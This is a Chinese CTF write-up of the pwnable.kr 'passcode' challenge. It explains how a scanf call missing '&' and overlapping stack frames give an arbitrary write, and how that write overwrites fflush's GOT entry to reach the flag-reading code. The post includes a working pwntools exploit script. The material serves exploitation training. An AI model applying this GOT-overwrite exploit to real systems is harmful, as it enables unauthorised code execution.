【pwnable.kr】passcode

题目描述

Mommy told me to make a passcode based login system.
My initial C code was compiled without any error!
Well, there was some compiler warning, but who cares about that?

ssh passcode@pwnable.kr -p2222 (pw:guest)

思路

这道题我参考了大佬的才最终做出来。首先在直接运行文件经常出现segmentation fault。通过题目的提示编译了一次源代码,发现scanf的第二个参数没有加取地址符&,从而输入的内容不会存到本以为会存到的位置,而是将那个位置中的内容作为存储的地址。既然输入的passcode并不会真的用于之后的比较,那么无法通过构造passcode来达到目的,从而想到利用第一次输入的name。由于welcome函数和login函数连续被调用,且没有开启aslr,所以它们的ebp是相同的,它们所使用的栈空间有重合的部分。通过查看汇编可以计算出name的最后4位会与passcode1的地址重合。从而passcode1的地址和内容都可控,达到一次任意地址写的目的。
但是由于只有一次写的机会,所以不能构造两个passcode,于是想到覆写got表。只要将其中一个会被调用的got表的地址改为读flag的地址就可以了。
至于最后的实现,有三种方式:

  • 通过pwntools的ssh来实现
    exp如下:
from pwn import *
debug = 0
binary = ELF("./passcode")
fflush_got = binary.got["fflush"]
if debug:
    context.log_level = 'debug'
    p = process("./passcode")
    gdb.attach(p,'b* 0x8048604')
else:
    s = ssh(host='pwnable.kr',user='passcode',port=2222,password='guest')
    p = s.process('./passcode')
p.recvuntil("enter you name : ")
p.sendline('a'*96+p32(fflush_got))
p.recvuntil('enter passcode1 : ')
p.sendline(str(int(0x80485E3)))
p.interactive()
  • 直接ssh到pwntools用python -c来实现,虽然有多次输入,但是只需要将多次输入一起传进去就可以了
  • 将脚本放在目标主机/tmp文件夹下运行

一些小tip

  • 在pwndbg插件下直接输入got显示got表
  • x/10x addr显示16进制

一些问题

  • 在通过pwntools与gdb调试的时候,在第一个断点直接c或者n指令会卡住
    • 有时候切换页面再切换回来这个问题就解决了,很神奇,如有大神解答感激不尽。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值